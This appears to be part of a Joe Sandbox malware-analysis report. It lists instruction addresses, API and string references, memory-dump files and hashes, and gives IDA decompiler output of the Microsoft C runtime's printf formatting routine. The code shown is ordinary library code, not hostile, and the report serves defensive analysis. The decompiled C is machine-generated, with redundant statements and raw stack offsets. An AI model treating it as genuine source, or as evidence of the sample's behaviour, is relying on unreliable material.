0x004349c0
0x004349c2
0x004349c7
0x004349cd
0x004349cf
0x004349cf
0x004349cd
0x004349d0
0x004349d7
0x00000000
0x004349d9
0x004349de
0x004349fa
0x00434a02
0x00434a0f
0x00434a14
0x00000000
0x00434a14
0x004349d7
0x00000000
0x00434a3f
0x00434a3f
0x00434a46
0x00434a49
0x00434a4c
0x00434a4f
0x00434a52
0x00434a55
0x00434a58
0x00434a5f
0x00434a66
0x00000000
0x00000000
0x00434a72
0x00434a72
0x00434a79
0x00434a85
0x00434a88
0x00434a95
0x00000000
0x00000000
0x00434a97
0x00434a97
0x00434a9d
0x00434a9d
0x00434aa4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434ae7
0x00434ae7
0x00434af1
0x00434b1b
0x00434b1e
0x00434b21
0x00434b28
0x00434b28
0x00434b2c
0x00434af3
0x00434af3
0x00434aff
0x00434b06
0x00434b08
0x00434b0b
0x00434b0e
0x00434b14
0x00434b16
0x00434b16
0x00434b19
0x00000000
0x00000000
0x00434b34
0x00434b34
0x00000000
0x00000000
0x00434b40
0x00434b40
0x00434b4a
0x00434b6d
0x00434b77
0x00434b77
0x00434b7b
0x00434b4c
0x00434b4c
0x00434b58
0x00434b5f
0x00434b61
0x00434b61
0x00434b68
0x00000000
0x00000000
0x00434b83
0x00434b83
0x00434b8a
0x00434b96
0x00434b99
0x00434ba6
0x00434cb9
0x00000000
0x00434cb9
0x00434bac
0x00434bac
0x00434bb2
0x00434bb2
0x00434bb9
0x00000000
0x00434bef
0x00434bef
0x00434bf2
0x00434bf8
0x00434c20
0x00434c20
0x00434c23
0x00434c29
0x00434c4e
0x00434c4e
0x00434c51
0x00434c57
0x00434c90
0x00434ca1
0x00000000
0x00434ca1
0x00434c59
0x00434c59
0x00434c5c
0x00434c62
0x00000000
0x00000000
0x00434c64
0x00434c64
0x00434c67
0x00434c6d
0x00000000
0x00000000
0x00434c6f
0x00434c6f
0x00434c72
0x00434c78
0x00000000
0x00000000
0x00434c7a
0x00434c7a
0x00434c7d
0x00434c83
0x00000000
0x00000000
0x00434c85
0x00434c85
0x00434c88
0x00434c8e
0x00434c92
0x00434c92
0x00000000
0x00434c92
0x00000000
0x00434c8e
0x00434c2b
0x00434c2b
0x00434c2e
0x00434c35
0x00000000
0x00000000
0x00434c37
0x00434c3a
0x00434c3d
0x00434c40
0x00434c43
0x00434c49
0x00000000
0x00434c49
0x00434bfa
0x00434bfa
0x00434bfd
0x00434c04
0x00000000
0x00000000
0x00434c06
0x00434c09
0x00434c0c
0x00434c0f
0x00434c12
0x00434c18
0x00000000
0x00000000
0x00434ca3
0x00434ca6
0x00434ca9
0x00000000
0x00000000
0x00434bc0
0x00434bc0
0x00434bc3
0x00434bc9
0x00434be1
0x00434be4
0x00434be7
0x00434bcb
0x00434bce
0x00434bd1
0x00434bd7
0x00434bdc
0x00434bdc
0x00000000
0x00000000
0x00434cae
0x00434cb1
0x00434cb6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434ac1
0x00434ac4
0x00434ac7
0x00000000
0x00000000
0x00434acc
0x00434acf
0x00434ad4
0x00000000
0x00000000
0x00434ab6
0x00434ab6
0x00434ab9
0x00434abc
0x00000000
0x00000000
0x00434aab
0x00434aae
0x00434ab1
0x00000000
0x00000000
0x00434ad9
0x00434ad9
0x00434adc
0x00434adf
0x00000000
0x00000000
0x00434ae2
0x00000000
0x00000000
0x0043487e
0x00434880
0x0043488e
0x00434882
0x00434882
0x00434882
0x00434898
0x0043489e
0x004348ab
0x004348ad
0x004348b2
0x004348b4
0x004348b9
0x004348be
0x004348c0
0x004348c5
0x004348cb
0x004348cd
0x004348cd
0x004348cb
0x004348ce
0x004348d5
0x00000000
0x004348d7
0x004348dc
0x004348f8
0x00434900
0x0043490d
0x00434912
0x004357d1
0x004357de
0x004357de
0x004348d5
0x00434878
0x0043570d
0x00435714
0x0043572b
0x0043571f
0x0043571f
0x0043571f
0x00435735
0x0043573b
0x00435748
0x0043574a
0x0043574f
0x00435751
0x00435756
0x0043575b
0x0043575d
0x00435762
0x00435768
0x0043576a
0x0043576a
0x00435768
0x00435772
0x004357bd
0x004357c6
0x004357cb
0x00435774
0x00435779
0x00435795
0x0043579d
0x004357aa
0x004357af
0x004357af
0x00000000
0x00435772
0x0043550c
0x00435512
0x0043551c
0x00435531
0x00435546
0x00435548
0x0043554c
0x0043554c
0x00435533
0x00435533
0x00435537
0x00435537
0x0043551e
0x0043551e
0x00435522
0x00435522
0x0043551c
0x0043555c
0x00435568
0x0043557e
0x00435583
0x00435583
0x00435599
0x0043559e
0x004355a7
0x004355c5
0x004355ca
0x004355ca
0x004355d1
0x004356a5
0x004356b8
0x004356bd
0x00000000
0x004355e1
0x004355e1
0x004355e1
0x004355ee
0x004355f7
0x004355fd
0x004355fd
0x0043560c
0x00435614
0x00000000
0x00000000
0x0043561a
0x00435623
0x00435642
0x00435647
0x0043564a
0x00435659
0x00435666
0x00435671
0x00435671
0x00000000
0x0043567d
0x0043567d
0x00435696
0x0043569b
0x00000000
0x0043569b
0x00435666
0x004356a3
0x004356c0
0x004356c7
0x004356e5
0x004356ea
0x004356ea
0x00000000
0x004356c7
0x00434cbe
0x00434cbe
0x00434cc5
0x00434ccb
0x00434cd1
0x00434cd4
0x00434cda
0x00434ced
0x00434ced
0x00434cf4
0x00000000
0x0043504e
0x0043504e
0x00435055
0x0043505c
0x0043505f
0x00000000
0x00000000
0x00434cfb
0x00434cfe
0x00434d04
0x00434d09
0x00434d0e
0x00434d0e
0x00000000
0x00000000
0x00434e3b
0x00434e3e
0x00434e43
0x00434e48
0x00434e4e
0x00434e4e
0x00000000
0x00000000
0x0043521b
0x0043521b
0x00000000
0x00000000
0x00434da5
0x00434da5
0x00434db1
0x00434dbe
0x00434dcc
0x00434dcc
0x00434dd2
0x00434dd5
0x00434de1
0x00434e36
0x00000000
0x00434e36
0x00434dc0
0x00434dc0
0x00434dca
0x00434de6
0x00434de9
0x00434def
0x00434e17
0x00434e1e
0x00434e24
0x00434e27
0x00434e2a
0x00434e30
0x00434e33
0x00434df1
0x00434df1
0x00434df7
0x00434dfa
0x00434dfd
0x00434e03
0x00434e06
0x00434e09
0x00434e0b
0x00434e0e
0x00434e0e
0x00000000
0x00434def
0x00000000
0x00000000
0x00435065
0x00435068
0x0043506b
0x0043506e
0x00435074
0x00435077
0x00435082
0x0043508d
0x00435091
0x004350a8
0x004350af
0x004350b1
0x004350b1
0x004350b8
0x004350bf
0x004350d0
0x004350df
0x004350e6
0x004350fc
0x004350e8
0x004350e8
0x004350eb
0x004350f1
0x004350f7
0x004350f7
0x004350e6
0x00435106
0x00435109
0x0043510c
0x0043510f
0x00435112
0x00435115
0x0043511b
0x00435121
0x00435129
0x0043512a
0x0043512d
0x0043512e
0x00435131
0x00435132
0x00435139
0x0043513a
0x0043513d
0x0043513e
0x00435141
0x00435142
0x00435148
0x00435149
0x00435157
0x00435159
0x0043515f
0x00435165
0x0043516d
0x00435175
0x00435176
0x00435179
0x0043517a
0x00435188
0x0043518a
0x0043518a
0x0043518d
0x00435197
0x0043519c
0x004351a2
0x004351a4
0x004351ac
0x004351ad
0x004351b0
0x004351b1
0x004351c0
0x004351c2
0x004351c2
0x004351a2
0x004351c5
0x004351c8
0x004351ce
0x004351d3
0x004351d9
0x004351df
0x004351e2
0x004351e2
0x004351e5
0x004351f1
0x00000000
0x004351f1
0x00435093
0x00435093
0x0043509d
0x00000000
0x00000000
0x0043509f
0x0043509f
0x00000000
0x0043509f
0x00435084
0x00435084
0x00000000
0x00000000
0x00434d11
0x00434d14
0x00434d1a
0x00434d75
0x00434d7d
0x00434d84
0x00434d8a
0x00434d90
0x00434d1c
0x00434d1c
0x00434d26
0x00434d2a
0x00434d32
0x00434d39
0x00434d46
0x00434d4d
0x00434d59
0x00434d66
0x00434d68
0x00434d68
0x00434d6f
0x00434d97
0x00434d9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00434f57
0x00434f57
0x00434f63
0x00434f70
0x0043501a
0x0043501d
0x00435020
0x00435034
0x0043503a
0x00435040
0x00435022
0x00435022
0x0043502f
0x0043502f
0x00435042
0x00000000
0x00435042
0x00434f76
0x00434f76
0x00434f78
0x00434f86
0x00434f7a
0x00434f7a
0x00434f7a
0x00434f90
0x00434f96
0x00434fa3
0x00434fa5
0x00434faa
0x00434fac
0x00434fb1
0x00434fb6
0x00434fb8
0x00434fbd
0x00434fc3
0x00434fc5
0x00434fc5
0x00434fc3
0x00434fcd
0x00435015
0x00000000
0x00434fcf
0x00434fcf
0x00434fd4
0x00434ff0
0x00434ff8
0x00435002
0x00435005
0x0043500a
0x00000000
0x0043500a
0x00000000
0x0043525c
0x0043525c
0x00435266
0x0043526c
0x00435271
0x00435277
0x00435277
0x00000000
0x00000000
0x00435214
0x00435214
0x00000000
0x00000000
0x00434e51
0x00434e55
0x00434e63
0x00434e66
0x00434e57
0x00434e57
0x00434e57
0x00434e6c
0x00434e72
0x00434e78
0x00434e84
0x00434e8a
0x00434e90
0x00434ef7
0x00434efb
0x00434efd
0x00434f03
0x00434f03
0x00434f06
0x00434f09
0x00434f0f
0x00434f0f
0x00434f0f
0x00434f1b
0x00434f1e
0x00434f26
0x00000000
0x00000000
0x00434f28
0x00434f28
0x00434f2e
0x00434f33
0x00000000
0x00000000
0x00434f35
0x00434f3b
0x00434f3e
0x00434f3e
0x00434f46
0x00434f4c
0x00434f4f
0x00000000
0x00434e92
0x00434e92
0x00434e96
0x00434e98
0x00434e9d
0x00434e9d
0x00434ea0
0x00434ea7
0x00434eaa
0x00434eb0
0x00434eb0
0x00434eb0
0x00434ebc
0x00434ebf
0x00434ec7
0x00000000
0x00000000
0x00434ec9
0x00434ec9
0x00434ecf
0x00434ed4
0x00000000
0x00000000
0x00434ed6
0x00434edc
0x00434edf
0x00434edf
0x00434ee7
0x00434eed
0x00434ef0
0x00434ef2
0x00434f52
0x00000000
0x00434f52
0x00000000
0x0043520b
0x0043520b
0x00000000
0x00000000
0x00435227
0x00435227
0x00435231
0x00435231
0x0043523b
0x00435241
0x00435243
0x0043524d
0x00435250
0x00435253
0x00435253
0x00000000
0x00000000
0x00000000
0x00000000
0x00434cf4
0x00435502
0x00435502
0x00435502
0x00435502
0x00435502
0x00435502
0x00435502
0x0043535f
0x00435356
0x0043527a
0x0043527a
0x0043527a

APIs

_get_int64_arg.LIBCMTD ref: 00435288
_get_int64_arg.LIBCMTD ref: 004352B0
__aullrem.LIBCMT ref: 00435455
__aulldiv.LIBCMT ref: 00435477
_write_multi_char.LIBCMTD ref: 0043557E
_write_string.LIBCMTD ref: 00435599
_write_multi_char.LIBCMTD ref: 004355C5
_wctomb_s.LIBCMTD ref: 00435642

Strings

_output_s_l, xrefs: 004348EE
-, xrefs: 0043551E
9, xrefs: 00435488
("Incorrect format specifier", 0), xrefs: 004348AD, 004348F3
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 004348B9, 004348E9

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: 9f6e427b44aa6155f2ed28342552a729dd2eceb3bf8c1dacc5d1add4021692d5
Instruction ID: 7a66584bcdfe4ee15188756ef012b172f887f5e7b80ed51587cea6396a3eb706
Opcode Fuzzy Hash: 9f6e427b44aa6155f2ed28342552a729dd2eceb3bf8c1dacc5d1add4021692d5
Instruction Fuzzy Hash: 07F14AB1D016299FDB24DF58CC89BEEB7B1BB48304F1491DAE409A7241D7789E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C52B, Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 365
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0043C52B(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t485;
				signed int _t504;
				void* _t509;
				signed int _t511;
				void* _t519;
				void* _t537;
				intOrPtr _t541;
				signed int _t558;
				signed short _t559;
				signed int _t562;
				signed int _t565;
				signed int _t566;
				void* _t567;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t644;
				signed int _t671;
				void* _t672;
				void* _t673;
				signed int _t674;
				void* _t676;
				void* _t677;
				signed int _t683;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t621 = __edx;
					_t567 = __ebx;
					 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000040;
					 *(_t674 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t674 - 0x10) & 0x00008000) == 0) {
									_t623 =  *(_t674 - 0x10) & 0x00001000;
									if(_t623 == 0) {
										if(( *(_t674 - 0x10) & 0x00000020) == 0) {
											_t625 =  *(_t674 - 0x10) & 0x00000040;
											if(_t625 == 0) {
												_t485 = E004285E0(_t674 + 0x14);
												_t677 = _t676 + 4;
												 *(_t674 - 0x4a0) = _t485;
												 *(_t674 - 0x49c) = 0;
											} else {
												_t558 = E004285E0(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t558;
												 *(_t674 - 0x49c) = _t625;
											}
										} else {
											_t671 =  *(_t674 - 0x10) & 0x00000040;
											if(_t671 == 0) {
												_t559 = E004285E0(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t559 & 0x0000ffff;
												 *(_t674 - 0x49c) = _t671;
											} else {
												_t562 = E004285E0(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t562;
												 *(_t674 - 0x49c) = _t671;
											}
										}
									} else {
										_t565 = E00428600(_t674 + 0x14);
										_t677 = _t676 + 4;
										 *(_t674 - 0x4a0) = _t565;
										 *(_t674 - 0x49c) = _t623;
									}
								} else {
									_t566 = E00428600(_t674 + 0x14);
									_t677 = _t676 + 4;
									 *(_t674 - 0x4a0) = _t566;
									 *(_t674 - 0x49c) = _t621;
								}
								if(( *(_t674 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
									 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
									goto L168;
								} else {
									L163:
									_t683 =  *(_t674 - 0x49c);
									if(_t683 > 0 || _t683 >= 0 &&  *(_t674 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
										 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
										 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
										L168:
										if(( *(_t674 - 0x10) & 0x00008000) == 0 && ( *(_t674 - 0x10) & 0x00001000) == 0) {
											 *(_t674 - 0x4a4) =  *(_t674 - 0x4a4) & 0x00000000;
										}
										if( *(_t674 - 0x30) >= 0) {
											 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
											if( *(_t674 - 0x30) > 0x200) {
												 *(_t674 - 0x30) = 0x200;
											}
										} else {
											 *(_t674 - 0x30) = 1;
										}
										if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
											 *(_t674 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
										while(1) {
											L178:
											_t631 =  *(_t674 - 0x30) - 1;
											 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
											if( *(_t674 - 0x30) <= 0 && ( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t632 =  *(_t674 - 0x4a8);
											 *((intOrPtr*)(_t674 - 0x494)) = E00430A00(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
											asm("cdq");
											 *(_t674 - 0x4a8) = E00430A80( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
											 *(_t674 - 0x4a4) = _t632;
											if( *((intOrPtr*)(_t674 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t674 - 0x494)) =  *((intOrPtr*)(_t674 - 0x494)) +  *((intOrPtr*)(_t674 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *((intOrPtr*)(_t674 - 0x494));
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t674 - 0x24)) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
										if(( *(_t674 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t674 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t674 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
											 *((intOrPtr*)(_t674 - 0x24)) =  *((intOrPtr*)(_t674 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t674 - 0x28)) != 0) {
																			L212:
																			if( *(_t674 - 0x20) != 0) {
																				L0041C6E0( *(_t674 - 0x20), 2);
																				_t677 = _t677 + 8;
																				 *(_t674 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
																				_t580 =  *(_t674 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
																				if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t674 - 0x4d8) = 0;
																					} else {
																						 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
																				_t644 =  *(_t674 - 0x450) * 9;
																				_t511 =  *(_t674 - 0x45c);
																				_t588 = ( *(_t644 + _t511 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t674 - 0x45c) = ( *(_t644 + _t511 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t674 - 0x45c) != 8) {
																					L16:
																					 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
																					if( *(_t674 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043CB14))) {
																						case 0:
																							L18:
																							 *(_t674 - 0xc) = 1;
																							E0043CC20( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																							_t677 = _t677 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t59 =  *(__ebp - 0x4e4) + 0x43cb4c; // 0x498d04
																							__ecx =  *_t59 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043CB34))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t83;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t94;
																								 *(__ebp - 0x30) = __ecx + _t94;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t102 =  *(__ebp - 0x4e8) + 0x43cb74; // 0xc3819003
																							__ecx =  *_t102 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043CB60))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t642 = 0;
																					if(0 == 0) {
																						 *(_t674 - 0x4dc) = 0;
																					} else {
																						 *(_t674 - 0x4dc) = 1;
																					}
																					 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
																					if( *(_t674 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t519 = L0041E520();
																						_t677 = _t677 + 0x14;
																						if(_t519 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t674 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00423010(_t588))) = 0x16;
																						E00422DA0(_t567, _t588, _t672, _t673, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t674 - 0x4c8) = 0xffffffff;
																						E0041AFC0(_t674 - 0x40);
																						_t504 =  *(_t674 - 0x4c8);
																						L225:
																						return E0042BF30(_t504, _t567,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
																					}
																				}
																			}
																			L215:
																			if( *(_t674 - 0x45c) == 0 ||  *(_t674 - 0x45c) == 7) {
																				 *(_t674 - 0x4f8) = 1;
																			} else {
																				 *(_t674 - 0x4f8) = 0;
																			}
